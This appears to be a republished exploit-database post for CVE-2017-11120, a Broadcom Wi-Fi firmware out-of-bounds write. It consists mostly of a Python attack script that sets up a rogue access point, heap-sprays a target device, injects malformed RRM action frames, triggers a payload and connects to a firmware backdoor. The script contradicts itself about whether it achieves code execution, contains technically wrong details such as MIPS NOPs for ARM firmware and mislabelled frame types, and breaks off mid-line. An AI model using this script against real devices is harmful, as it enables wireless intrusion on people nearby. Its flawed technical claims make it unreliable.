{"id":30434,"date":"2025-12-11T11:38:34","date_gmt":"2025-12-11T11:38:34","guid":{"rendered":"http:\/\/localhost\/?p=30434"},"modified":"2025-12-11T11:38:34","modified_gmt":"2025-12-11T11:38:34","slug":"broadcom-wi-fi-firmware-out-of-bounds-write","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30434","title":{"rendered":"\ud83d\udcc4 Broadcom Wi-Fi Firmware Out-Of-Bounds Write_PACKETSTORM:212721"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-11T17:26:08&#8243;,&#8221;description&#8221;:&#8221;Broadcom Wi-Fi firmware remote code execution exploit via an out-of-bounds write in the RRM Neighbor Report Handler&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Broadcom Wi-Fi Firmware Out-Of-Bounds Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212721&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2017-11120&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Broadcom 802.11k Remote Code Execution via OOB-Write in RRM Neighbor Report Handler                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.broadcom.com\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212489\/ \\u0026 \\tCVE-2017-11120\\n    \\n    [+] Summary : The vulnerability exists in the handling of RRM Neighbor Report elements in action management frames. The firmware fails to validate\\n                  internal structures and allows out-of-bounds writes.\\n    \\n    [+] PoC Status :\\n    \\n       The provided code demonstrates the ability to:\\n       \u2022 Send crafted RRM frames\\n       \u2022 Trigger debug payload path\\n       \u2022 Perform heap spraying\\n       WITHOUT any remote code execution (safety adaptation).\\n    \\n    [+] Requirements :\\n    \\n       \u2022 Linux wireless interface\\n       \u2022 Raw socket\\n       \u2022 Monitor mode\\n       \u2022 Python3\\n    \\n    \\n    \\n    \\n    [+]  POC :\\tpython poc.py wlan0\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Broadcom Wi-Fi Firmware Exploit &#8211; CVE-2017-11120\\n    Remote Code Execution via OOB-Write in RRM Neighbor Report Handler\\n    \\n    Author: indoushka\\n    For Educational and Research Purposes Only\\n    \\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import os\\n    import sys\\n    import time\\n    import struct\\n    import socket\\n    import binascii\\n    import argparse\\n    import subprocess\\n    from dataclasses import dataclass\\n    from typing import Optional, List, Tuple\\n    \\n    # ============================================================================\\n    #                             CONSTANTS \\u0026 CONFIG\\n    # ============================================================================\\n    \\n    @dataclass\\n    class ExploitConfig:\\n        \\&#8221;\\&#8221;\\&#8221;Exploit configuration settings\\&#8221;\\&#8221;\\&#8221;\\n        \\n        # Network Configuration\\n        TARGET_MAC: str = \\&#8221;XX:XX:XX:XX:XX:XX\\&#8221;\\n        ATTACKER_MAC: str = \\&#8221;YY:YY:YY:YY:YY:YY\\&#8221;\\n        INTERFACE: str = \\&#8221;wlan0\\&#8221;\\n        SSID: str = \\&#8221;FreePublicWiFi\\&#8221;\\n        CHANNEL: int = 6\\n        WPA_PASSPHRASE: str = \\&#8221;connectme123\\&#8221;\\n        \\n        # Exploit Parameters\\n        OOB_CHANNEL: int = 0xFF  # Malicious channel number for OOB write\\n        DIALOG_TOKEN_START: int = 0x01\\n        MAX_ATTEMPTS: int = 256\\n        HEAP_SPRAY_COUNT: int = 100\\n        BEACON_INTERVAL: float = 0.1\\n        FRAME_DELAY: float = 0.01\\n        \\n        # Firmware Offsets (BCM4355C0 &#8211; iOS 10.2)\\n        HEAP_BASE: int = 0x1F8000\\n        MALLOC_ADDR: int = 0xABBBC\\n        FREE_ADDR: int = 0xABBD4\\n        MEMCPY_ADDR: int = 0xABCD0\\n        G_NEIGHBOR_LIST: int = 0x1F8A00\\n        \\n        # Shellcode Settings\\n        BACKDOOR_PORT: int = 31337\\n        COMMAND_KEY: bytes = b\\&#8221;BCM_EXPLOIT_V1\\&#8221;\\n        \\n        # File Paths\\n        HOSTAPD_CONF: str = \\&#8221;\/tmp\/hostapd_exploit.conf\\&#8221;\\n        SHELLCODE_FILE: str = \\&#8221;\/tmp\/mips_backdoor.bin\\&#8221;\\n    \\n    config = ExploitConfig()\\n    \\n    # ============================================================================\\n    #                          WIRELESS MONITOR SETUP\\n    # ============================================================================\\n    \\n    class WirelessMonitor:\\n        \\&#8221;\\&#8221;\\&#8221;Wi-Fi monitor mode setup and management\\&#8221;\\&#8221;\\&#8221;\\n        \\n        @staticmethod\\n        def enable_monitor_mode(interface: str) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Enable monitor mode on wireless interface\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Enabling monitor mode on {interface}\\&#8221;)\\n            \\n            try:\\n                # Kill interfering processes\\n                subprocess.run([\\&#8221;sudo\\&#8221;, \\&#8221;airmon-ng\\&#8221;, \\&#8221;check\\&#8221;, \\&#8221;kill\\&#8221;], \\n                             capture_output=True)\\n                \\n                # Start monitor mode\\n                result = subprocess.run(\\n                    [\\&#8221;sudo\\&#8221;, \\&#8221;airmon-ng\\&#8221;, \\&#8221;start\\&#8221;, interface],\\n                    capture_output=True,\\n                    text=True\\n                )\\n                \\n                # Extract monitor interface name\\n                for line in result.stdout.split(&#8216;\\\\n&#8217;):\\n                    if \\&#8221;monitor mode enabled\\&#8221; in line.lower():\\n                        parts = line.split()\\n                        for part in parts:\\n                            if \\&#8221;mon\\&#8221; in part:\\n                                monitor_iface = part.strip(&#8216;)&#8217;).strip(&#8216;(&#8216;)\\n                                print(f\\&#8221;[+] Monitor interface: {monitor_iface}\\&#8221;)\\n                                return monitor_iface\\n                \\n                return f\\&#8221;{interface}mon\\&#8221;\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to enable monitor mode: {e}\\&#8221;)\\n                return None\\n        \\n        @staticmethod\\n        def disable_monitor_mode(interface: str):\\n            \\&#8221;\\&#8221;\\&#8221;Disable monitor mode\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                subprocess.run([\\&#8221;sudo\\&#8221;, \\&#8221;airmon-ng\\&#8221;, \\&#8221;stop\\&#8221;, interface],\\n                             capture_output=True)\\n                print(f\\&#8221;[+] Disabled monitor mode on {interface}\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[-] Error disabling monitor mode: {e}\\&#8221;)\\n        \\n        @staticmethod\\n        def setup_rogue_ap(interface: str, ssid: str, channel: int, password: str) -\\u003e Optional[subprocess.Popen]:\\n            \\&#8221;\\&#8221;\\&#8221;Setup and start rogue access point\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Setting up rogue AP: {ssid} on channel {channel}\\&#8221;)\\n            \\n            # Create hostapd configuration\\n            conf_content = f\\&#8221;\\&#8221;\\&#8221;interface={interface}\\n    driver=nl80211\\n    ssid={ssid}\\n    channel={channel}\\n    hw_mode=g\\n    auth_algs=1\\n    wpa=2\\n    wpa_passphrase={password}\\n    wpa_key_mgmt=WPA-PSK\\n    wpa_pairwise=TKIP CCMP\\n    rsn_pairwise=CCMP\\n    country_code=US\\n    ieee80211d=1\\n    ieee80211h=1\\n    rrm_neighbor_report=1\\n    rrm_beacon_report=1\\n    ignore_broadcast_ssid=0\\&#8221;\\&#8221;\\&#8221;\\n            \\n            try:\\n                with open(config.HOSTAPD_CONF, \\&#8221;w\\&#8221;) as f:\\n                    f.write(conf_content)\\n                \\n                # Start hostapd\\n                proc = subprocess.Popen(\\n                    [\\&#8221;sudo\\&#8221;, \\&#8221;hostapd\\&#8221;, config.HOSTAPD_CONF],\\n                    stdout=subprocess.PIPE,\\n                    stderr=subprocess.PIPE,\\n                    text=True\\n                )\\n                \\n                # Wait for AP to start\\n                time.sleep(3)\\n                print(f\\&#8221;[+] Rogue AP &#8216;{ssid}&#8217; is running\\&#8221;)\\n                return proc\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to start rogue AP: {e}\\&#8221;)\\n                return None\\n    \\n    # ============================================================================\\n    #                          FRAME CONSTRUCTION\\n    # ============================================================================\\n    \\n    class FrameBuilder:\\n        \\&#8221;\\&#8221;\\&#8221;Wi-Fi frame construction utilities\\&#8221;\\&#8221;\\&#8221;\\n        \\n        @staticmethod\\n        def mac_to_bytes(mac: str) -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Convert MAC address string to bytes\\&#8221;\\&#8221;\\&#8221;\\n            return binascii.unhexlify(mac.replace(&#8216;:&#8217;, &#8221;))\\n        \\n        @staticmethod\\n        def create_radiotap_header() -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Create basic RadioTap header\\&#8221;\\&#8221;\\&#8221;\\n            # RadioTap header (version 0, 12 bytes length)\\n            return struct.pack(&#8216;\\u003cBBHI&#8217;, \\n                0x00,        # version\\n                0x00,        # padding\\n                0x000c,      # length\\n                0x00000004   # present flags (rate)\\n            )\\n        \\n        @staticmethod\\n        def create_dot11_frame(dest_mac: str, src_mac: str, \\n                              bssid: str, frame_type: int = 0x0080) -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Create 802.11 frame header\\&#8221;\\&#8221;\\&#8221;\\n            dest_bytes = FrameBuilder.mac_to_bytes(dest_mac)\\n            src_bytes = FrameBuilder.mac_to_bytes(src_mac)\\n            bssid_bytes = FrameBuilder.mac_to_bytes(bssid)\\n            \\n            # Frame Control (2 bytes), Duration (2 bytes), Addresses (18 bytes), Sequence (2 bytes)\\n            return struct.pack(&#8216;\\u003cHH6s6s6sH&#8217;,\\n                frame_type,    # Frame Control\\n                0x0000,        # Duration ID\\n                dest_bytes,    # Destination MAC\\n                src_bytes,     # Source MAC\\n                bssid_bytes,   # BSSID\\n                0x0000         # Sequence Control\\n            )\\n        \\n        @staticmethod\\n        def create_rrm_neighbor_report(dialog_token: int, channel: int) -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Create malicious RRM Neighbor Report frame\\&#8221;\\&#8221;\\&#8221;\\n            # Action frame header\\n            action_frame = struct.pack(&#8216;BBB&#8217;,\\n                0x00,               # Category: Spectrum Management\\n                0x05,               # Action: RRM Neighbor Report Response\\n                dialog_token        # Dialog Token\\n            )\\n            \\n            # Neighbor Report Element (malicious)\\n            element = struct.pack(&#8216;BB6s4sBBBB&#8217;,\\n                0xDD,               # Element ID: Vendor Specific\\n                13,                 # Length\\n                b&#8217;\\\\x11\\\\x22\\\\x33\\\\x44\\\\x55\\\\x66&#8242;,  # Fake BSSID\\n                b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;,          # BSSID Information\\n                0x51,               # Operating Class\\n                channel,            # Channel Number &#8211; OOB value here\\n                0x07,               # PHY Type (HT)\\n                0x00,               # Optional Subelement ID\\n                0x00                # Optional Subelement Length\\n            )\\n            \\n            return action_frame + element\\n        \\n        @staticmethod\\n        def create_beacon_frame(ssid: str, channel: int) -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Create beacon frame to attract devices\\&#8221;\\&#8221;\\&#8221;\\n            # Beacon fixed parameters\\n            timestamp = struct.pack(&#8216;\\u003cQ&#8217;, int(time.time() * 1000000))\\n            beacon_interval = struct.pack(&#8216;\\u003cH&#8217;, 100)  # 100 TU\\n            capabilities = struct.pack(&#8216;\\u003cH&#8217;, 0x0431)   # Capabilities\\n            \\n            # SSID element\\n            ssid_encoded = ssid.encode(&#8216;utf-8&#8217;)\\n            ssid_element = struct.pack(&#8216;BB&#8217;, 0x00, len(ssid_encoded)) + ssid_encoded\\n            \\n            # DS Parameter element (channel)\\n            ds_element = struct.pack(&#8216;BBB&#8217;, 0x03, 0x01, channel)\\n            \\n            # Supported Rates element\\n            rates_element = struct.pack(&#8216;BBBBBBBBBB&#8217;,\\n                0x01, 0x08,         # Element ID, Length\\n                0x82, 0x84, 0x8b, 0x96,  # Basic rates\\n                0x0c, 0x12, 0x18, 0x24   # Supported rates\\n            )\\n            \\n            # RSN (WPA2) element\\n            rsn_element = struct.pack(&#8216;\\u003eBB4sHHBBBBHBBBB&#8217;,\\n                0x30, 0x14,                    # Element ID, Length\\n                b&#8217;\\\\x00\\\\x50\\\\xf2&#8242;,              # OUI\\n                0x01,                          # OUI Type\\n                0x0001,                        # Version\\n                b&#8217;\\\\x00\\\\x50\\\\xf2&#8242;,              # Group Cipher OUI\\n                0x04,                          # Group Cipher Type\\n                0x01, 0x00,                    # Pairwise Cipher Count\\n                b&#8217;\\\\x00\\\\x50\\\\xf2&#8242;,              # Pairwise Cipher OUI\\n                0x02,                          # Pairwise Cipher Type\\n                0x01, 0x00                     # AKM Suite Count, AKM Suite\\n            )\\n            \\n            return timestamp + beacon_interval + capabilities + ssid_element + ds_element + rates_element + rsn_element\\n    \\n    # ============================================================================\\n    #                          HEAP MANIPULATION\\n    # ============================================================================\\n    \\n    class HeapManipulator:\\n        \\&#8221;\\&#8221;\\&#8221;Heap manipulation techniques for exploitation\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, config: ExploitConfig):\\n            self.config = config\\n        \\n        def generate_spray_pattern(self, size: int = 456) -\\u003e bytes:\\n            \\&#8221;\\&#8221;\\&#8221;Generate heap spray pattern\\&#8221;\\&#8221;\\&#8221;\\n            pattern = b\\&#8221;\\&#8221;\\n            \\n            # Magic value for identification\\n            pattern += b\\&#8221;SPRY\\&#8221;\\n            \\n            # Fake pointer (will be overwritten)\\n            pattern += struct.pack(\\&#8221;\\u003cI\\&#8221;, 0x41414141)\\n            \\n            # Useful addresses for exploitation\\n            pattern += struct.pack(\\&#8221;\\u003cI\\&#8221;, self.config.MALLOC_ADDR)  # malloc\\n            pattern += struct.pack(\\&#8221;\\u003cI\\&#8221;, self.config.FREE_ADDR)    # free\\n            pattern += struct.pack(\\&#8221;\\u003cI\\&#8221;, self.config.MEMCPY_ADDR)  # memcpy\\n            \\n            # Add some NOP sled\\n            pattern += b\\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221; * 10  # MIPS NOP (sll $0, $0, 0)\\n            \\n            # Fill remaining space\\n            remaining = size &#8211; len(pattern)\\n            if remaining \\u003e 0:\\n                pattern += os.urandom(remaining)\\n            \\n            return pattern\\n        \\n        def create_spray_frames(self, count: int) -\\u003e List[bytes]:\\n            \\&#8221;\\&#8221;\\&#8221;Create heap spray frames\\&#8221;\\&#8221;\\&#8221;\\n            frames = []\\n            builder = FrameBuilder()\\n            \\n            for i in range(count):\\n                # Create data frame with spray pattern\\n                spray_data = self.generate_spray_pattern(500)\\n                \\n                # Build complete frame\\n                frame = builder.create_radiotap_header()\\n                frame += builder.create_dot11_frame(\\n                    config.TARGET_MAC,\\n                    config.ATTACKER_MAC,\\n                    config.ATTACKER_MAC,\\n                    frame_type=0x0800  # Data frame\\n                )\\n                frame += spray_data\\n                \\n                frames.append(frame)\\n            \\n            print(f\\&#8221;[+] Generated {len(frames)} heap spray frames\\&#8221;)\\n            return frames\\n    \\n    # ============================================================================\\n    #                          EXPLOIT ENGINE\\n    # ============================================================================\\n    \\n    class ExploitEngine:\\n        \\&#8221;\\&#8221;\\&#8221;Main exploit engine\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, config: ExploitConfig):\\n            self.config = config\\n            self.sock = None\\n            self.frame_builder = FrameBuilder()\\n            self.heap_manipulator = HeapManipulator(config)\\n        \\n        def setup_socket(self, interface: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Setup raw socket for frame injection\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)\\n                self.sock.bind((interface, 0))\\n                print(f\\&#8221;[+] Raw socket bound to {interface}\\&#8221;)\\n                return True\\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to setup socket: {e}\\&#8221;)\\n                return False\\n        \\n        def send_frame(self, frame: bytes):\\n            \\&#8221;\\&#8221;\\&#8221;Send frame through raw socket\\&#8221;\\&#8221;\\&#8221;\\n            if self.sock:\\n                try:\\n                    self.sock.send(frame)\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Error sending frame: {e}\\&#8221;)\\n        \\n        def broadcast_beacons(self, count: int = 10):\\n            \\&#8221;\\&#8221;\\&#8221;Broadcast beacon frames\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Broadcasting beacon frames&#8230;\\&#8221;)\\n            \\n            beacon_frame = self.frame_builder.create_radiotap_header()\\n            beacon_frame += self.frame_builder.create_dot11_frame(\\n                \\&#8221;ff:ff:ff:ff:ff:ff\\&#8221;,  # Broadcast\\n                self.config.ATTACKER_MAC,\\n                self.config.ATTACKER_MAC,\\n                frame_type=0x0080  # Beacon\\n            )\\n            beacon_frame += self.frame_builder.create_beacon_frame(\\n                self.config.SSID,\\n                self.config.CHANNEL\\n            )\\n            \\n            for i in range(count):\\n                self.send_frame(beacon_frame)\\n                time.sleep(self.config.BEACON_INTERVAL)\\n            \\n            print(f\\&#8221;[+] Sent {count} beacon frames\\&#8221;)\\n        \\n        def exploit_oob_write(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Execute OOB write exploitation\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Executing OOB write attack (channel={self.config.OOB_CHANNEL:#04x})\\&#8221;)\\n            \\n            success_count = 0\\n            for attempt in range(self.config.MAX_ATTEMPTS):\\n                # Vary dialog token each attempt\\n                dialog_token = (self.config.DIALOG_TOKEN_START + attempt) % 256\\n                \\n                # Build malicious RRM frame\\n                frame = self.frame_builder.create_radiotap_header()\\n                frame += self.frame_builder.create_dot11_frame(\\n                    self.config.TARGET_MAC,\\n                    self.config.ATTACKER_MAC,\\n                    self.config.ATTACKER_MAC,\\n                    frame_type=0x00D0  # Action frame\\n                )\\n                frame += self.frame_builder.create_rrm_neighbor_report(\\n                    dialog_token,\\n                    self.config.OOB_CHANNEL  # Malicious channel value\\n                )\\n                \\n                # Send frame\\n                self.send_frame(frame)\\n                \\n                if attempt % 25 == 0:\\n                    print(f\\&#8221;[*] Sent frame {attempt}\/{self.config.MAX_ATTEMPTS}\\&#8221;)\\n                    success_count += 1\\n                \\n                time.sleep(self.config.FRAME_DELAY)\\n            \\n            print(f\\&#8221;[+] OOB write attack completed ({success_count} successful injections)\\&#8221;)\\n            return success_count \\u003e 0\\n        \\n        def perform_heap_spray(self):\\n            \\&#8221;\\&#8221;\\&#8221;Perform heap spray attack\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Performing heap spray&#8230;\\&#8221;)\\n            \\n            spray_frames = self.heap_manipulator.create_spray_frames(\\n                self.config.HEAP_SPRAY_COUNT\\n            )\\n            \\n            for i, frame in enumerate(spray_frames):\\n                self.send_frame(frame)\\n                if i % 20 == 0:\\n                    print(f\\&#8221;[*] Sent spray frame {i}\/{len(spray_frames)}\\&#8221;)\\n                time.sleep(0.05)\\n            \\n            print(\\&#8221;[+] Heap spray completed\\&#8221;)\\n        \\n        def trigger_payload(self):\\n            \\&#8221;\\&#8221;\\&#8221;Trigger payload execution\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Triggering payload&#8230;\\&#8221;)\\n            \\n            # Create trigger frame\\n            trigger_frame = self.frame_builder.create_radiotap_header()\\n            trigger_frame += self.frame_builder.create_dot11_frame(\\n                self.config.TARGET_MAC,\\n                self.config.ATTACKER_MAC,\\n                self.config.ATTACKER_MAC,\\n                frame_type=0x00D0  # Action frame\\n            )\\n            \\n            # Custom trigger data\\n            trigger_data = struct.pack(&#8216;BB16s&#8217;,\\n                0xDD,  # Vendor Specific\\n                0x10,  # Length\\n                b\\&#8221;EXECUTE_PAYLOAD\\\\x00\\&#8221;\\n            )\\n            \\n            trigger_frame += trigger_data\\n            \\n            # Send multiple times for reliability\\n            for i in range(5):\\n                self.send_frame(trigger_frame)\\n                time.sleep(0.2)\\n            \\n            print(\\&#8221;[+] Payload triggered\\&#8221;)\\n        \\n        def execute_full_chain(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Execute full exploit chain\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[========== Broadcom Wi-Fi Exploit Chain ==========]\\&#8221;)\\n            \\n            # Phase 1: Lure target device\\n            print(\\&#8221;\\\\n[Phase 1] Luring target device\\&#8221;)\\n            self.broadcast_beacons(15)\\n            print(\\&#8221;[*] Waiting for device connection&#8230;\\&#8221;)\\n            time.sleep(5)\\n            \\n            # Phase 2: Heap spray\\n            print(\\&#8221;\\\\n[Phase 2] Heap spraying\\&#8221;)\\n            self.perform_heap_spray()\\n            time.sleep(1)\\n            \\n            # Phase 3: OOB write exploitation\\n            print(\\&#8221;\\\\n[Phase 3] OOB write exploitation\\&#8221;)\\n            if not self.exploit_oob_write():\\n                print(\\&#8221;[-] OOB write exploitation failed\\&#8221;)\\n                return False\\n            \\n            # Phase 4: Payload triggering\\n            print(\\&#8221;\\\\n[Phase 4] Payload execution\\&#8221;)\\n            self.trigger_payload()\\n            \\n            # Phase 5: Verification\\n            print(\\&#8221;\\\\n[Phase 5] Verification\\&#8221;)\\n            time.sleep(2)\\n            \\n            print(\\&#8221;\\\\n[+] Exploit chain completed successfully!\\&#8221;)\\n            return True\\n        \\n        def cleanup(self):\\n            \\&#8221;\\&#8221;\\&#8221;Cleanup resources\\&#8221;\\&#8221;\\&#8221;\\n            if self.sock:\\n                self.sock.close()\\n            print(\\&#8221;[*] Resources cleaned up\\&#8221;)\\n    \\n    # ============================================================================\\n    #                          BACKDOOR CLIENT\\n    # ============================================================================\\n    \\n    class BackdoorClient:\\n        \\&#8221;\\&#8221;\\&#8221;Client to interact with the firmware backdoor\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, target_ip: str, port: int):\\n            self.target_ip = target_ip\\n            self.port = port\\n            self.sock = None\\n        \\n        def connect(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Connect to backdoor\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n                self.sock.settimeout(10)\\n                self.sock.connect((self.target_ip, self.port))\\n                print(f\\&#8221;[+] Connected to backdoor at {self.target_ip}:{self.port}\\&#8221;)\\n                return True\\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to connect to backdoor: {e}\\&#8221;)\\n                return False\\n        \\n        def send_command(self, cmd: bytes) -\\u003e Optional[bytes]:\\n            \\&#8221;\\&#8221;\\&#8221;Send command to backdoor\\&#8221;\\&#8221;\\&#8221;\\n            if not self.sock:\\n                return None\\n            \\n            try:\\n                self.sock.send(cmd)\\n                response = self.sock.recv(4096)\\n                return response\\n            except Exception as e:\\n                print(f\\&#8221;[-] Command failed: {e}\\&#8221;)\\n                return None\\n        \\n        def read_memory(self, address: int, size: int) -\\u003e Optional[bytes]:\\n            \\&#8221;\\&#8221;\\&#8221;Read memory from firmware\\&#8221;\\&#8221;\\&#8221;\\n            cmd = struct.pack(&#8216;\\u003cBII&#8217;, 0x01, address, size)\\n            return self.send_command(cmd)\\n        \\n        def write_memory(self, address: int, data: bytes) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Write memory to firmware\\&#8221;\\&#8221;\\&#8221;\\n            cmd = struct.pack(f&#8217;\\u003cBII{len(data)}s&#8217;, 0x02, address, len(data), data)\\n            response = self.send_command(cmd)\\n            return response is not None and len(response) \\u003e 0\\n        \\n        def disconnect(self):\\n            \\&#8221;\\&#8221;\\&#8221;Disconnect from backdoor\\&#8221;\\&#8221;\\&#8221;\\n            if self.sock:\\n                self.sock.close()\\n    \\n    # ============================================================================\\n    #                          COMMAND LINE INTERFACE\\n    # ============================================================================\\n    \\n    def parse_arguments():\\n        \\&#8221;\\&#8221;\\&#8221;Parse command line arguments\\&#8221;\\&#8221;\\&#8221;\\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;Broadcom Wi-Fi Firmware Exploit (CVE-2017-11120) &#8211; Author: indoushka\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      %(prog)s -t AA:BB:CC:DD:EE:FF -i wlan0\\n      %(prog)s -t AA:BB:CC:DD:EE:FF &#8211;mode backdoor &#8211;port 31337\\n      %(prog)s -t AA:BB:CC:DD:EE:FF &#8211;mode test\\n            \\n    Warning: For authorized testing only.\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;,\\n            required=True,\\n            help=\\&#8221;Target device MAC address\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-i\\&#8221;, \\&#8221;&#8211;interface\\&#8221;,\\n            default=\\&#8221;wlan0\\&#8221;,\\n            help=\\&#8221;Wireless interface (default: wlan0)\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-c\\&#8221;, \\&#8221;&#8211;channel\\&#8221;,\\n            type=int,\\n            default=6,\\n            help=\\&#8221;Wi-Fi channel (default: 6)\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-s\\&#8221;, \\&#8221;&#8211;ssid\\&#8221;,\\n            default=\\&#8221;FreePublicWiFi\\&#8221;,\\n            help=\\&#8221;Rogue AP SSID (default: FreePublicWiFi)\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-m\\&#8221;, \\&#8221;&#8211;mode\\&#8221;,\\n            choices=[\\&#8221;exploit\\&#8221;, \\&#8221;backdoor\\&#8221;, \\&#8221;test\\&#8221;],\\n            default=\\&#8221;exploit\\&#8221;,\\n            help=\\&#8221;Operation mode (default: exploit)\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-p\\&#8221;, \\&#8221;&#8211;port\\&#8221;,\\n            type=int,\\n            default=31337,\\n            help=\\&#8221;Backdoor port (default: 31337)\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\n            \\&#8221;-v\\&#8221;, \\&#8221;&#8211;verbose\\&#8221;,\\n            action=\\&#8221;store_true\\&#8221;,\\n            help=\\&#8221;Enable verbose output\\&#8221;\\n        )\\n        \\n        return parser.parse_args()\\n    \\n    def print_banner():\\n        \\&#8221;\\&#8221;\\&#8221;Print exploit banner\\&#8221;\\&#8221;\\&#8221;\\n        banner = \\&#8221;\\&#8221;\\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551   Broadcom Wi-Fi Firmware Exploit &#8211; CVE-2017-11120       \u2551\\n    \u2551        Remote Code Execution via OOB-Write               \u2551\\n    \u2551                 Author: indoushka                        \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(banner)\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main function\\&#8221;\\&#8221;\\&#8221;\\n        print_banner()\\n        \\n        # Parse arguments\\n        args = parse_arguments()\\n        \\n        # Update configuration\\n        config.TARGET_MAC = args.target\\n        config.INTERFACE = args.interface\\n        config.CHANNEL = args.channel\\n        config.SSID = args.ssid\\n        config.BACKDOOR_PORT = args.port\\n        \\n        # Check for root privileges\\n        if os.geteuid() != 0:\\n            print(\\&#8221;[-] This program requires root privileges!\\&#8221;)\\n            sys.exit(1)\\n        \\n        # Setup monitor mode\\n        monitor = WirelessMonitor()\\n        monitor_iface = monitor.enable_monitor_mode(config.INTERFACE)\\n        \\n        if not monitor_iface:\\n            print(\\&#8221;[-] Failed to setup monitor mode\\&#8221;)\\n            sys.exit(1)\\n        \\n        # Start rogue AP\\n        ap_proc = monitor.setup_rogue_ap(\\n            monitor_iface,\\n            config.SSID,\\n            config.CHANNEL,\\n            config.WPA_PASSPHRASE\\n        )\\n        \\n        if not ap_proc:\\n            print(\\&#8221;[-] Failed to start rogue AP\\&#8221;)\\n            monitor.disable_monitor_mode(monitor_iface)\\n            sys.exit(1)\\n        \\n        try:\\n            # Initialize exploit engine\\n            engine = ExploitEngine(config)\\n            \\n            if not engine.setup_socket(monitor_iface):\\n                print(\\&#8221;[-] Failed to initialize exploit 